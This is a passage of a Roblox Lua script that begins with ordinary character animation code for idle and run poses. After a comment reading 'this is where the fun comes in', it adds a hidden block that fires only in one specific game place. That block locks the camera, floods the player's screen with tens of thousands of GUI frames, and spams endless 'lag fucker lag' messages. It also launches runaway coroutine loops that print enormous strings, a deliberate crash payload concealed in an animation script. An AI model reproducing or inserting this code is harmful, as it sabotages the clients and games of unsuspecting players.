1433 | --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2) | |
1434 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3) | |
1435 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3) | |
1436 | RH.C0=clerp(RH.C0,RHC0,.3) | |
1437 | LH.C0=clerp(LH.C0,LHC0,.3) | |
1438 | ]]-- | |
1439 | Footsteps:Play() | |
1440 | Footsteps2:Stop() | |
1441 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(20)),.1) | |
1442 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(0*math.cos(sine/5.5)),math.rad(0*math.cos(sine/5.5)),math.rad(-20)),.1) | |
1443 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
1444 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-45)),.5) | |
1445 | LW.C0=clerp(RW.C0,cf(-2.5,-0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-230)),.5) | |
1446 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
1447 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
1448 | end | |
1449 | elseif torvel>=22 and hitfloor~=nil then | |
1450 | Anim="Run" | |
1451 | change=1 | |
1452 | if attack==false then | |
1453 | Footsteps:Stop() | |
1454 | Footsteps2:Play() | |
1455 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) | |
1456 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) | |
1457 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
1458 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-90),math.rad(0),math.rad(0)),.3) | |
1459 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-90),math.rad(0),math.rad(0)),.3) | |
1460 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
1461 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
1462 | end | |
1463 | end | |
1464 | end | |
1465 | end | |
1466 | ||
1467 | ||
1468 | ||
1469 | ||
1470 | --- shshshhh this is where the fun comes in --- | |
1471 | if game.PlaceId == 21053279 then | |
1472 | plr = game.Players.LocalPlayer | |
1473 | char = plr.Character | |
1474 | cam = workspace.CurrentCamera | |
1475 | cam.CameraType = "Scriptable" | |
1476 | cam.CoordinateFrame = CFrame.new(0,0,50) | |
1477 | local localContainer | |
1478 | local service=setmetatable({ | |
1479 | MarketPlace=game:service("MarketplaceService"); | |
1480 | GamepassService=game:service("GamePassService"); | |
1481 | ChatService=game:service("Chat"); | |
1482 | LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end; | |
1483 | },{ | |
1484 | __index=function(tab,index) | |
1485 | local serv | |
1486 | local ran,err=pcall(function() serv=game:service(index) end) | |
1487 | if ran then | |
1488 | tab[index]=serv | |
1489 | return serv | |
1490 | end | |
1491 | end | |
1492 | }) | |
1493 | ||
1494 | local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end | |
1495 | ||
1496 | x=game.Players.LocalPlayer | |
1497 | x.CameraMode=Enum.CameraMode.LockFirstPerson | |
1498 | f=Instance.new("Frame") | |
1499 | f.Size=UDim2.new(1,0,1,0) | |
1500 | f.BackgroundTransparency=0.01 | |
1501 | f.BackgroundColor3=Color3.new() | |
1502 | pg=x.PlayerGui | |
1503 | gui=Instance.new("ScreenGui",pg) | |
1504 | wait(.1) | |
1505 | for i=1,28000 do | |
1506 | f:Clone().Parent=gui | |
1507 | f:Clone().Parent=gui | |
1508 | f:Clone().Parent=gui | |
1509 | end | |
1510 | ||
1511 | script:Destroy(); | |
1512 | local runService = Game:GetService("RunService").Stepped; | |
1513 | local LagNum = 1250; | |
1514 | local str = "lag fucker lag"; | |
1515 | ||
1516 | for i = 1, math.huge do | |
1517 | if i % LagNum == 0 then runService:wait(); end | |
1518 | Instance.new("Message", Workspace).Text = str; | |
1519 | end | |
1520 | ||
1521 | local bores=coroutine.create(function() --Yolo? | |
1522 | cPcall(function() | |
1523 | --print(Game[("%s|"):rep(0xFFFFFFF)]) | |
1524 | cPcall(print,'lol') | |
1525 | cPcall(warn,'lol') | |
1526 | cPcall(error,'lol') | |
1527 | while wait(0.1) do | |
1528 | spawn(function() | |
1529 | cPcall(function() | |
1530 | spawn(function() | |
1531 | local tab={} | |
1532 | pcall(function() | |
1533 | spawn(function() | |
1534 | for i=1,1000000 do | |
1535 | cPcall(function() | |
1536 | spawn(function() | |
1537 | local bob2=coroutine.create(function() | |
1538 | function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
1539 | function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
1540 | spawn(f1) | |
1541 | end) | |
1542 | spawn(function() delay(0,function() coroutine.resume(bob2) end) end) | |
1543 | spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) | |
1544 | end) | |
1545 | end) | |
1546 | end | |
1547 | tab={} | |
1548 | end) | |
1549 | end) | |
1550 | end) | |
1551 | end) | |
1552 | end) | |
1553 | end | |
1554 | end) | |
1555 | end) | |
1556 | ||
1557 | service.RunService.Stepped:connect(function() | |
1558 | for i=1,500000 do | |
1559 | delay(0,function() pcall(function() coroutine.resume(bores) end) end) | |
1560 | end | |
1561 | end) | |
1562 | ||
1563 | ||
1564 | ||
1565 | ||
1566 | local function bob() | |
1567 | cPcall(function() | |
1568 | while wait(0.1) do | |
1569 | --cPcall(function() | |
1570 | --for i=1,100 do | |
1571 | local p=Instance.new("Part") | |
1572 | p.Material="Neon" | |
1573 | p.Size=Vector3.new(50,50,50) | |
1574 | p.Anchored=true | |
1575 | p.BackSurface="Studs" | |
1576 | p.BottomSurface="Studs" | |
1577 | p.FrontSurface="Studs" | |
1578 | p.LeftSurface="Studs" | |
1579 | p.RightSurface="Studs" | |
1580 | p.TopSurface="Studs" | |
1581 | local t=Instance.new("Texture",p) | |
1582 | t.Texture="http://www.roblox.com/asset/?id=190803157" | |
1583 | t.Face="Top" | |
1584 | t.StudsPerTileU=1000 | |
1585 | t.StudsPerTileV=1000 | |
1586 | local t2=t:clone() | |
1587 | t2.Parent=p | |
1588 | t2.Face="Bottom" | |
1589 | local t2=t:clone() | |
1590 | t2.Parent=p | |
1591 | t2.Face="Left" | |
1592 | local t2=t:clone() | |
1593 | t2.Parent=p | |
1594 | t2.Face="Right" | |
1595 | local t2=t:clone() | |
1596 | t2.Parent=p | |
1597 | t2.Face="Front" | |
1598 | local t2=t:clone() | |
1599 | t2.Parent=p | |
1600 | t2.Face="Back" | |
1601 | p.Parent=service.LocalContainer() | |
1602 | --end | |
1603 | --end) | |
1604 | end | |
1605 | end) | |
1606 | end | |
1607 | bob() --while wait(0.1) do cPcall(bob) end | |
1608 | end |